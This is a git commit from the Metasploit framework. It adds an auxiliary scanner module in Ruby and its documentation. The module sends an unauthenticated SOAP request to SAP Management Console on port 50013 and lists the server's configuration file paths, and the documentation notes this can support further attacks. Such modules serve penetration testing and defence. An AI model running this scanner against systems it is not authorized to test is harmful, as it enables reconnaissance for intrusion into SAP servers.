Land #11282, Support to retrieve data from ListConfigFiles SAP webmethod

GSoC/Meterpreter_Web_Console
Wei Chen 2019-02-08 18:01:29 -06:00
commit bb97a5eba0
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
2 changed files with 172 additions and 0 deletions

View File

@ -0,0 +1,60 @@
## Vulnerable Application
This applies to all versions of SAP software.
The SAP Management Console (SAP MC) provides a common framework for centralized system management. It allows you to monitor and perform basic administration tasks on the SAP system centrally, which simplifies system administration. (https://help.sap.com/doc/saphelp_nwpi711/7.1.1/en-US/fa/ec218eb89b4424a9a0b423b0643952/frameset.htm)
SAP exposes an API on port tcp/50013 with the SOAP Management Console. Some webmethods are authenticated with a valid login/password and others are unauthenticated and reacheable by default.
With this module you can list the config files that SAP loads when starts the SAP server. This unauthenticated information disclosure can be used in a more advanced attack to get knowledge about in which paths SAP stores the config files to, for example, retrieve sensitive data or trojanize the startup process.
## Verification Steps
Example steps:
1. Install the SAP application. SAP provides a docker container for development purposes: https://developers.sap.com/tutorials/hxe-ua-install-using-docker.html
2. Start msfconsole
3. Do: ```use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles```
4. Set up the server IP: ```set RHOSTS 192.168.10.45```
5. Do: ```run```
6. You will receive the list of SAP configuration files on the server.
## Options
**RHOSTS**: Set up which server or servers do you want to test
**RPORT**: Port tcp/50013 set up by default
In case of more advanced deployments you can set up the SSL parameters here:
**SSL**: Set to ```true```
## Scenarios
### Example
```
msf5 > use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > show options
Module options (auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 50013 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
URI / no Path to the SAP Management Console
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > set RHOSTS 192.168.10.45
RHOSTS => 192.168.10.45
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > run
[...]
```

View File

@ -0,0 +1,112 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'SAP Management Console List Config Files',
'Description' => %q{
This module attempts to list the config files
through the SAP Management Console SOAP Interface.
Returns a list of config files found in the SAP configuration with its
absolute paths inside the server filesystem.
},
'References' =>
[
# General
[ 'URL', 'http://blog.c22.cc' ]
],
'Author' => [
'Chris John Riley', # Original msf module
'Jacobo Avariento Gimeno' # Minor changes to adapt it for ListConfigFiles webmethod
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
])
register_autofilter_ports([ 50013 ])
deregister_options('RHOST')
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'GET'
}, 25)
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
enum_instance(ip)
end
def enum_instance(rhost)
print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:ListConfigFiles'
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
data << '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 15)
unless res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
if res.code == 500 && res.body =~ %r{<faultstring>(.*)</faultstring>}i
print_error("#{rhost}:#{rport} [SAP] Error code: #{$1.strip}")
return
end
if res.code == 200 && res.body =~ %r{<item>([^<]+)</item>}i
env = res.body.scan(%r{<item>([^<]+)</item>}i)
print_good("#{rhost}:#{rport} [SAP] List of Config Files")
env.each do |output|
print_good(output.first)
end
return
end
print_error("#{rhost}:#{rport} [SAP] Failed to identify instance properties")
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
end
end